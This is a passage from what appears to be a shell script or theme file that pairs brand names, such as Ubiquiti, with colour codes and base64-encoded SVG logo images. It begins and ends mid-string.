TUuMDQ0LTEwLjkwOCAyNi4wODMtMjUuNDU1IDI2LjA4M2gtMTIuNDg0djMzLjU5MWgxMi40ODRjMzIuNDExIDAgNTguNjUxLTI2LjcxMSA1OC42NTEtNTkuNjc5IDAtMzQuMjMxLTI0LjQ5OS01OS4wMzEtNTcuODU1LTU5LjAzMSIgZmlsbD0iIzRhY2JkNiIvPgoJPHBhdGggZD0ibTQyMCAxMTkuNjgtMjAuNzExLTIzLjY3NSAxOC40OTYtMjEuMjgzaC0xMS41NDhsLTE2LjU4OCAxOS44NHYtNDAuMTUxbC05LjgwMzggNC45NTU5djU3Ljc1OWMwIDEuNDM2IDEuMTA0IDIuNTU5OSAyLjM3MTkgMi41NTk5aDcuNDMxOHYtMjIuMzk5bDE4LjMzMiAyMi4zOTloMTIuMDJ6bS03MC44MTgtNDYuMjQzYy03LjkwNzggMC0xNi4xMjggNC4xNjc5LTIwLjIzNiAxMC4yNDR2MzMuNTk5YzAgMS4yNzYgMS4xMTIgMi40IDIuMzcxOSAyLjRoNy40MzE4di0zMS45OTljMi4zNjM5LTMuMDM1OSA2LjE2MzgtNC45NTU5IDEwLjQzMi00Ljk1NTkgNi43OTU4IDAgMTEuNjkyIDUuNDM1OSAxMS42OTIgMTIuNjM2djI0LjMxOWg5LjY0Mzh2LTI0LjYzOWM0ZS0zIC0xMi4zMTYtOS4xNjc4LTIxLjYwMy0yMS4zMzUtMjEuNjAzbS0zNS4wOTEtMTkuOTkyYy0zLjYzMTkgMC02LjYzOTggMi44ODM5LTYuNjM5OCA2LjU1OTggMCAxLjc2IDAuNjI3OTkgMy4xOTU5IDEuNzM2IDQuMzE5OWg5LjgwMzhjMS4xMDQtMS4xMjQgMS43MzYtMi41NTk5IDEuNzM2LTQuMzE5OSA0ZS0zIC0zLjY3OTktMi45OTk5LTYuNTU5OC02LjYzNTgtNi41NTk4bTQuOTAzOSA2Ni4yMzR2LTQ0Ljk1OWgtOS44MDM4djQyLjU1OWMwIDEuMjc2IDEuMTEyIDIuNCAyLjM3MTkgMi40em0tMjkuNTYzLTIuNGMwIDEuMjc2IDEuMTEyIDIuNCAyLjM3MiAyLjRoNy40MzE4di02NS4yN2wtOS44MDM4IDQuOTU1OXptLTIxLjk3MS0xNS4xOTZoMTMuMjh2LTkuOTIzN2gtMTguMDI0em0tMzQuNjE1LTI4LjE1OWMtOC4zNzU4IDAtMTcuMjI4IDQuNDc5OS0yMS42NTUgMTEuMDR2NDkuMjcxYzAgMS4yODQgMS4xMDQgMi40IDIuMzcxOSAyLjRoNy40MjM4di00Ny42NzFjMi4zNzE5LTMuNTIzOSA2Ljc5OTgtNS43NjM5IDExLjctNS43NjM5IDcuNTgzOCAwIDEzLjEyIDUuNzYzOSAxMy4xMiAxMy45MiAwIDguMDAzOC01LjUzNTkgMTQuMDg0LTEzLjEyIDE0LjA4NGgtNi45NTU4djguNDc5OGg3LjExNThjMTMuMTIgMCAyMi43NTktOS40Mzk4IDIyLjc1OS0yMi41NTktNGUtMyAtMTMuMjg0LTkuNzk5OC0yMy4xOTktMjIuNzU5LTIzLjE5OW0tNDMuOTQzIDMwLjcxMXYtMjEuMTE1aDEyLjY0NHYtOC43OTk4aC0xMi42NDR2LTEzLjU5MmwtOS44MDM4IDQuOTU1OXY0MC42NDNjMCA4LjMxNTggNC44OTk5IDEyLjk2IDEzLjU5NiAxMi45NmgxMi42NDR2LTguNDc5OGgtMTAuMTEyYy00Ljc0NzktNGUtMyAtNi4zMjM4LTEuNzcyLTYuMzIzOC02LjU3MTgiLz4KPC9zdmc+Cg==' ["Ubiquiti"]='#1D1F2E #006FFF #E0E0E0 data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcKICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIgogICB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiCiAgIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgdmlld0JveD0iMCAwIDE2NC4xMDI2OCAxMzguNDYxMzMiCiAgIGhlaWdodD0iMTM4LjQ2MTMzIgogICB3aWR0aD0iMTY0LjEwMjY4IgogICB4bWw6c3BhY2U9InByZXNlcnZlIgogICBpZD0ic3ZnMiIKICAgdmVyc2lvbj0iMS4xIj48bWV0YWRhdGEKICAgICBpZD0ibWV0YWRhdGE4Ij48cmRmOlJERj48Y2M6V29yawogICAgICAgICByZGY6YWJvdXQ9IiI+PGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+PGRjOnR5cGUKICAgICAgICAgICByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIiAvPjwvY2M6V29yaz48L3JkZjpSREY+PC9tZXRhZGF0YT48ZGVmcwogICAgIGlkPSJkZWZzNiI+PGNsaXBQYXRoCiAgICAgICBpZD0iY2xpcFBhdGgxOCIKICAgICAgIGNsaXBQYXRoVW5pdHM9InVzZXJTcGFjZU9uVXNlIj48cGF0aAogICAgICAgICBpZD0icGF0aDE2IgogICAgICAgICBkPSJtIDYuOTk4LDcuMzkyIGggMTA5LjA4IFYgOTYuNDU1IEggNi45OTggWiIgLz48L2NsaXBQYXRoPjxjbGlwUGF0aAogICAgICAgaWQ9ImNsaXBQYXRoNDQiCiAgICAgICBjbGlwUGF0aFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHBhdGgKICAgICAgICAgaWQ9InBhdGg0MiIKICAgICAgICAgZD0ibSA2MS43MjMsNTIuODA4IGMgLTMuNDU2LDAuMTU3IC02LjExNSwxLjAzNCAtOC4xNzUsMi4zMDMgdiAwIGMgMS4zOTUsLTYuMDU1IDYuNjEyLC05LjAyOSA2Ljg2NCwtOS4xNyB2IDAgbCAxLjUzOCwtMC44NDggYyAxMS43NjgsMC43ODYgMTguNjU2LDguMzgzIDE4LjY1NiwxOC4zMTcgdiAwIDIuMTUzIEMgNzcuODA5LDU2LjQzNyA3MS4yOTksNTIuMzc3IDYxLjcyMyw1Mi44MDgiIC8+PC9jbGlwUGF0aD48bGluZWFyR3JhZGllbnQKICAgICAgIGlkPSJsaW5lYXJHcmFkaWVudDU0IgogICAgICAgc3ByZWFkTWV0aG9kPSJwYWQiCiAgICAgICBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDI3LjA1NzAwNywwLDAsMjcuMDU3MDA3LDUzLjU0ODQ5Miw1NS4zMjgwNjQpIgogICAgICAgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiCiAgICAgICB5Mj0iMCIKICAgICAgIHgyPSIxIgogICAgICAgeTE9IjAiCiAgICAgICB4MT0iMCI+PHN0b3AKICAgICAgICAgaWQ9InN0b3A1MCIKICAgICAgICAgb2Zmc2V0PSIwIgogICAgICAgICBzdHlsZT0ic3RvcC1vcGFjaXR5OjE7c3RvcC1jb2xvcjojNjU2MjYzIiAvPjxzdG9wCiAgICAgICAgIGlkPSJzdG9wNTIiCiAgICAgICAgIG9mZnNldD0iMSIKICAgICAgICAgc3R5bGU9InN0b3Atb3BhY2l0eToxO3N0b3AtY29sb3I6I2E3YTVhNiIgLz48L2xpbmVhckdyYWRpZW50PjxjbGlwUGF0aAogICAgICAgaWQ9ImNsaXBQYXRoNjYiCiAgICAgICBjbGlwUGF0aFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHBhdGgKICAgICAgICAgaWQ9InBhdGg2NCIKICAgICAgICAgZD0ibSA2Ljk5OCw3LjM5MiBoIDEwOS4wOCBWIDk2LjQ1NSBIIDYuOTk4IFoiIC8+PC9jbGlwUGF0aD48L2RlZnM+PGcKICAgICB0cmFuc2Zvcm09Im1hdHJpeCgxLjMzMzMzMzMsMCwwLC0xLjMzMzMzMzMsMCwxMzguNDYxMzMpIgogICAgIGlkPSJnMTAiPjxnCiAgICAgICBpZD0iZzEyIj48ZwogICAgICAgICBjbGlwLXBhdGg9InVybCgjY2xpcFBhdGgxOCkiCiAgICAgICAgIGlkPSJnMTQiPjxnCiAgICAgICAgICAgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoNzkuNjAyMSw2NS44NzA2KSIKICAgICAgICAgICBpZD0iZzIwIj48cGF0aAogICAgICAgICAgICAgaWQ9InBhdGgyMiIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiMwZDBkMGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJtIDAsMCAxLjAwNCwzLjI3NSB2IDIyLjQzNyBjIC0xMS43MzQsMCAtMTIuOTU2LC00LjQ5OSAtMTIuOTU2LC04Ljc5NiB2IC0yNC42NCBjIDAsLTEuMjc2IC0wLjEyNCwtMi42MjkgLTAuMzgyLC0zLjk1NiBDIC02LjExMiwtMTAuNTQ3IC0yLjA1MywtNi43MDEgMCwwIiAvPjwvZz48cGF0aAogICAgICAgICAgIGlkPSJwYXRoMjQiCiAgICAgICAgICAgc3R5bGU9ImZpbGw6IzM5YTJlMTtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICBkPSJtIDQ5LjU2Niw4Ni40NiBoIC0yLjU5MyB2IDIuNTYxIGggMi41OTMgeiIgLz48cGF0aAogICAgICAgICAgIGlkPSJwYXRoMjYiCiAgICAgICAgICAgc3R5bGU9ImZpbGw6IzM5YTJlMTtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICBkPSJtIDUyLjE1Niw4Mi41OSBoIC0yLjU5IHYgMi41NjMgaCAyLjU5IHoiIC8+PHBhdGgKICAgICAgICAgICBpZD0icGF0aDI4IgogICAgICAgICAgIHN0eWxlPSJmaWxsOiMzOWEyZTE7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgZD0ibSA0OS41NTEsNzkuMzY3IGggLTIuNTYzIHYgMi41NjIgaCAyLjU2MyB6IiAvPjxwYXRoCiAgICAgICAgICAgaWQ9InBhdGgzMCIKICAgICAgICAgICBzdHlsZT0iZmlsbDojMzlhMmUxO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgIGQ9Im0gNDYuOTYsNzUuNTI1IGggLTIuNTYyIHYgMi41NjIgaCAyLjU2MiB6IiAvPjxwYXRoCiAgICAgICAgICAgaWQ9InBhdGgzMiIKICAgICAgICAgICBzdHlsZT0iZmlsbDojMzlhMmUxO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgIGQ9Im0gNDEuNzkyLDg5LjAyMSBoIC0yLjU5IHYgMi41ODkgaCAyLjU5IHoiIC8+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg0NC4zODUzLDcyLjk2NDgpIgogICAgICAgICAgIGlkPSJnMzQiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDM2IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzM5YTJlMTtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Im0gMCwwIGggMi41ODcgdiAtNS43MDcgaCAyLjU5NCB2IDkuNTQ4IGggMi41OSB2IC0xOC42NTkgYyAwLC04Ljg1NSA3Ljc0OSwtMTMuMTI2IDcuNzQ5LC0xMy4xMjYgLTEzLjAxNywwIC0yMC43MDMsNy44OTEgLTIwLjcwMywxOC4zOSBWIDExLjU2IGggMi41ODkgViAtMi41NjIgSCAwIFoiIC8+PC9nPjwvZz48L2c+PGcKICAgICAgIGlkPSJnMzgiPjxnCiAgICAgICAgIGNsaXAtcGF0aD0idXJsKCNjbGlwUGF0aDQ0KSIKICAgICAgICAgaWQ9Imc0MCI+PGcKICAgICAgICAgICBpZD0iZzQ2Ij48ZwogICAgICAgICAgICAgaWQ9Imc0OCI+PHBhdGgKICAgICAgICAgICAgICAgaWQ9InBhdGg1NiIKICAgICAgICAgICAgICAgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDU0KTtzdHJva2U6bm9uZSIKICAgICAgICAgICAgICAgZD0ibSA2MS43MjMsNTIuODA4IGMgLTMuNDU2LDAuMTU3IC02LjExNSwxLjAzNCAtOC4xNzUsMi4zMDMgdiAwIGMgMS4zOTUsLTYuMDU1IDYuNjEyLC05LjAyOSA2Ljg2NCwtOS4xNyB2IDAgbCAxLjUzOCwtMC44NDggYyAxMS43NjgsMC43ODYgMTguNjU2LDguMzgzIDE4LjY1NiwxOC4zMTcgdiAwIDIuMTUzIEMgNzcuODA5LDU2LjQzNyA3MS4yOTksNTIuMzc3IDYxLjcyMyw1Mi44MDgiIC8+PC9nPjwvZz48L2c+PC9nPjxwYXRoCiAgICAgICBpZD0icGF0aDU4IgogICAgICAgc3R5bGU9ImZpbGw6IzM5YTJlMTtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgIGQ9Im0gNDYuOTU4LDgzLjg3MiBoIC0yLjU2IHYgMi41NjIgaCAyLjU2IHoiIC8+PGcKICAgICAgIGlkPSJnNjAiPjxnCiAgICAgICAgIGNsaXAtcGF0aD0idXJsKCNjbGlwUGF0aDY2KSIKICAgICAgICAgaWQ9Imc2MiI+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg3NC42MjQsMjEuODQyMikiCiAgICAgICAgICAgaWQ9Imc2OCI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoNzAiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojNGY0YzRkO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgZD0iTSAwLDAgQyAtMi4yMzIsMCAtMy45NzMsMC42MTggLTUuMTczLDEuODM5IC02LjQsMy4wODYgLTcuMDA1LDQuODkxIC02Ljk2OSw3LjIwNiBMIC02Ljk3LDE4LjAxMiBoIDAuMDIzIGMgMC41OTgsMCAyLjU1MywtMC4xNDIgMi41NTMsLTEuOTcgTCAtNC4zOTMsNi42MzggQyAtNC4zMjUsMy44NDYgLTIuNzI0LDIuMjQ3IDAsMi4yNDcgYyAyLjcyMywwIDQuMzI0LDEuNjAxIDQuMzkxLDQuMzkzIHYgOS40MDIgYyAwLDEuODI4IDEuOTU2LDEuOTcgMi41NTYsMS45NyBIIDYuOTY5IEwgNi45NjYsNy4yMDQgQyA3LjAwNCw0Ljg5MSA2LjQsMy4wODYgNS4xNzIsMS44MzkgMy45NywwLjYxOCAyLjIzLDAgMCwwIiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDE1LjE1OTUsMjEuODQyMikiCiAgICAgICAgICAgaWQ9Imc3MiI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoNzQiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojNGY0YzRkO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgZD0iTSAwLDAgQyAtMi4yMzIsMCAtMy45NzIsMC42MTggLTUuMTcyLDEuODM5IC02LjQsMy4wODYgLTcuMDA0LDQuODkxIC02Ljk2Niw3LjIwNiBsIDAuMDM2LDEwLjgwNiBoIDAuMDIxIGMgMC41OTksMCAyLjU1NCwtMC4xNDIgMi41NTQsLTEuOTcgTCAtNC4zOTEsNi42MzggQyAtNC4zMjQsMy44NDYgLTIuNzI0LDIuMjQ3IDAsMi4yNDcgYyAyLjcyNSwwIDQuMzI1LDEuNjAxIDQuMzkyLDQuMzkzIGwgMC4wMzgsOS40MDIgYyAwLDEuODI4IDEuOTU2LDEuOTcgMi41NTUsMS45NyBIIDcuMDA4IEwgNi45NjgsNy4yMDQgQyA3LjAwNSw0Ljg5MSA2LjQsMy4wODYgNS4xNzMsMS44MzkgMy45NzIsMC42MTggMi4yMywwIDAsMCIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg1Ni4zMzg3LDI0LjA4OTMpIgogICAgICAgICAgIGlkPSJnNzYiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDc4IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Im0gMCwwIGMgLTQuMzc1LDAgLTUuMDI4LDQuMjEzIC01LjAyOCw2LjcyNSAwLDIuMDIyIDAuNDg4LDYuODAzIDUuMDI4LDYuODAzIDQuMzc0LDAgNS4wMjgsLTQuMjkyIDUuMDI4LC02LjgwMyBDIDUuMDI4LDQuNzAzIDQuNTM3LDAgMCwwIG0gOS44NzksLTEuODk0IGMgMCwwLjI3MiAtMC4wNDIsMS4xODEgLTAuNTYsMS43MjggQyA5LjA0MywwLjEyMiA4LjY3NiwwLjI2OCA4LjIxOCwwLjI2OCBoIC0zLjAxIGMgMS42MjEsMS41NzkgMi41MTQsMy44NjEgMi41MTQsNi40NTcgMCw0LjMzNiAtMi4wMyw5LjA0OCAtNy43MjIsOS4wNDggLTUuNjkzLDAgLTcuNzIxLC00LjcxMiAtNy43MjEsLTkuMDQ4IDAsLTQuMzM1IDIuMDI2LC04Ljk2OCA3LjcxMSwtOC45NzIgbCAwLjAxNSwwLjAwMiBjIDAuNDM3LDAuMDIgMC44OSwwLjA2NyAxLjM1LDAuMTQgMC4yNzUsMC4wMzEgMC41NjksMC4wODMgMC44NTIsMC4xMzIgbCAwLjQ0OSwwLjA3OSB6IiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDg1Ljk3NzksMjIuMDExMSkiCiAgICAgICAgICAgaWQ9Imc4MCI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoODIiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojNGY0YzRkO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgZD0ibSAwLDAgLTAuMDAyLDE1Ljg3MiBjIDAsMS44MyAxLjk1NSwxLjk3MSAyLjU1NCwxLjk3MSBIIDIuNTc1IFYgMC4yOTMgQyAyLjU3NSwwLjEzMiAyLjQ0NCwwIDIuMjgzLDAgWiIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg0Mi42NzA0LDIxLjk0OTYpIgogICAgICAgICAgIGlkPSJnODQiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDg2IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Im0gMCwwIC0wLjAwMywxNS45MzQgYyAwLDEuODI4IDEuOTU2LDEuOTcxIDIuNTU1LDEuOTcxIEggMi41NzUgViAwLjI5MyBDIDIuNTc1LDAuMTMyIDIuNDQ0LDAgMi4yODMsMCBaIiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEwNi40NDM2LDIyLjAxMTEpIgogICAgICAgICAgIGlkPSJnODgiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDkwIgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Im0gMCwwIHYgMTUuOTE2IGMgMCwxLjgyOSAxLjk0OSwxLjk3MSAyLjU0OSwxLjk3MSBIIDIuNTcyIFYgMC4yOTMgQyAyLjU3MiwwLjEzMiAyLjQ0MSwwIDIuMjgsMCBaIiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDkxLjA4NzYsMzkuODEwMykiCiAgICAgICAgICAgaWQ9Imc5MiI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoOTQiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojNGY0YzRkO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgZD0iTSAwLDAgViAtMi4yNDYgSCA1LjI2NyBWIC0xNy44IGggMi4yODIgYyAwLjE1OCwwIDAuMjg5LDAuMTMgMC4yOTMsMC4yODYgdiAxNS4yNjggaCA0Ljc5OCBjIDAuMTU3LDAgMC4yODgsMC4xMjkgMC4yOTEsMC4yODUgbCAwLDEuOTYxIHoiIC8+PC9nPjxnCiAgICAgICAgICAgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoOTEuMTMwNywzOS44MTAzKSIKICAgICAgICAgICBpZD0iZzk2Ij48cGF0aAogICAgICAgICAgICAgaWQ9InBhdGg5OCIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJNIDAsMCBWIC0yLjI0NiBIIDUuMjY3IFYgLTE3LjggSCA3LjU1IGMgMC4xNTgsMCAwLjI4OCwwLjEzIDAuMjkxLDAuMjg2IHYgMTUuMjY4IGggNC43OTkgYyAwLjE1OCwwIDAuMjg5LDAuMTI5IDAuMjkyLDAuMjg1IFYgMCBaIiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDMzLjM0OTMsMjQuMjY0NikiCiAgICAgICAgICAgaWQ9ImcxMDAiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDEwMiIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJtIDAsMCBoIC00LjA5OSB2IDUuODM2IGggMy44MjcgQyAwLjkyOSw1LjgzNiAyLjk0Myw1LjM0MSAyLjk0MywyLjkxNCAyLjk0MywwLjY2MyAxLjIxLDAuMDU4IDAsMCBNIDIuMjQ5LDEwLjY3MSBDIDIuMjQ5LDkuNzI1IDEuOTU5LDguOTQ2IDEuMzYzLDguNTYyIDAuOTM5LDguMjg1IDAuMzQ3LDguMTM0IC0wLjQ3MSw4LjA4OCBoIC0zLjgwMyB2IDUuMTc1IGggMi44MTYgMC44NDEgYyAyLjA1NCwtMC4wNzkgMi44NjYsLTAuOTIgMi44NjYsLTIuNTkyIE0gMi41NDcsNi45NjIgMi4zMjYsNy4wMjggMi41MzgsNy4xMiBjIDEuNDgyLDAuNjQ0IDIuNDA0LDIuMTQ4IDIuNDA0LDMuNzE2IDAsMi44ODYgLTIuMDQzLDQuNjcyIC01LjYwMiw0LjY3MiBIIC02Ljg1IFYgLTIuMjUzIGwgNi4xODgsMC4wMDEgYyAwLjE3MywtMC4wMDQgMC4zNDYsLTAuMDA2IDAuNTIyLC0wLjAwNiAwLjcxMywwIDEuNjM2LDAuMDQgMi40NCwwLjM0MyAxLjk0OSwwLjcxOCAzLjE1OSwyLjQ2OCAzLjE1OSw0LjM1OCAwLDEuNjI1IC0wLjc2MiwzLjg4MSAtMi45MTIsNC41MTkiIC8+PC9nPjxnCiAgICAgICAgICAgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoOC41NDMyLDE2LjY2NCkiCiAgICAgICAgICAgaWQ9ImcxMDQiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDEwNiIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJNIDAsMCBIIDAuOTUyIEwgMy4zMDcsLTMuOCBIIDMuMzIxIFYgMCBoIDAuODYgViAtNS4xNTcgSCAzLjIyNyBMIDAuODgsLTEuMzY1IEggMC44NTggViAtNS4xNTcgSCAwIFoiIC8+PC9nPjxnCiAgICAgICAgICAgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMjIuNDIzNSwxNi42NjQpIgogICAgICAgICAgIGlkPSJnMTA4Ij48cGF0aAogICAgICAgICAgICAgaWQ9InBhdGgxMTAiCiAgICAgICAgICAgICBzdHlsZT0iZmlsbDojNGY0YzRkO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpub256ZXJvO3N0cm9rZTpub25lIgogICAgICAgICAgICAgZD0iTSAwLDAgSCAzLjcxMyBWIC0wLjc4IEggMC45MDQgViAtMi4xMzEgSCAzLjUwMyBWIC0yLjg2NyBIIDAuOTA0IHYgLTEuNTA5IGggMi44NTkgdiAtMC43ODEgbCAtMy43NjMsMCB6IiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDM1LjIxMjEsMTYuNjY0KSIKICAgICAgICAgICBpZD0iZzExMiI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoMTE0IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Ik0gMCwwIEggNC4xNzYgViAtMC43OCBIIDIuNTM1IFYgLTUuMTU3IEggMS42MzMgViAtMC43OCBMIDAsLTAuNzggWiIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg0OC4zMzQ4LDE2LjY2NCkiCiAgICAgICAgICAgaWQ9ImcxMTYiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDExOCIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJNIDAsMCBIIDAuOTE3IEwgMS44NDksLTMuOTQ0IEggMS44NjMgTCAyLjkwMywwIEggMy44MjcgTCA0LjgzOSwtMy45NDQgSCA0Ljg1MyBMIDUuODE0LDAgSCA2LjczMiBMIDUuMzA5LC01LjE1NyBIIDQuMzkxIEwgMy4zNTgsLTEuMjEzIEggMy4zNDQgTCAyLjI4OCwtNS4xNTcgSCAxLjM1OSBaIiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDY2LjM2MDksMTYuMDQ5NykiCiAgICAgICAgICAgaWQ9ImcxMjAiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDEyMiIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJtIDAsMCBjIC0wLjI3NCwwIC0wLjUxMiwtMC4wNTUgLTAuNzExLC0wLjE2NiAtMC4xOTksLTAuMTEgLTAuMzYyLC0wLjI1OSAtMC40ODgsLTAuNDQ0IC0wLjEyNCwtMC4xODYgLTAuMjE4LC0wLjM5NiAtMC4yNzcsLTAuNjMzIC0wLjA2LC0wLjIzNSAtMC4wOTEsLTAuNDc2IC0wLjA5MSwtMC43MjEgMCwtMC4yNDcgMC4wMzEsLTAuNDg3IDAuMDkxLC0wLjcyMiAwLjA1OSwtMC4yMzcgMC4xNTMsLTAuNDQ3IDAuMjc3LC0wLjYzMyAwLjEyNiwtMC4xODUgMC4yODksLTAuMzM0IDAuNDg4LC0wLjQ0NCAwLjE5OSwtMC4xMTEgMC40MzcsLTAuMTY2IDAuNzExLC0wLjE2NiAwLjI3NiwwIDAuNTExLDAuMDU1IDAuNzExLDAuMTY2IDAuMiwwLjExIDAuMzYyLDAuMjU5IDAuNDg5LDAuNDQ0IDAuMTI0LDAuMTg2IDAuMjE3LDAuMzk2IDAuMjc2LDAuNjMzIDAuMDYyLDAuMjM1IDAuMDkyLDAuNDc1IDAuMDkyLDAuNzIyIDAsMC4yNDUgLTAuMDMsMC40ODYgLTAuMDkyLDAuNzIxIEMgMS40MTcsLTEuMDA2IDEuMzI0LC0wLjc5NiAxLjIsLTAuNjEgMS4wNzMsLTAuNDI1IDAuOTExLC0wLjI3NiAwLjcxMSwtMC4xNjYgMC41MTEsLTAuMDU1IDAuMjc2LDAgMCwwIE0gMCwwLjczOCBDIDAuMzg1LDAuNzM4IDAuNzMxLDAuNjY1IDEuMDM2LDAuNTIgMS4zNDIsMC4zNzYgMS42LDAuMTgxIDEuODEzLC0wLjA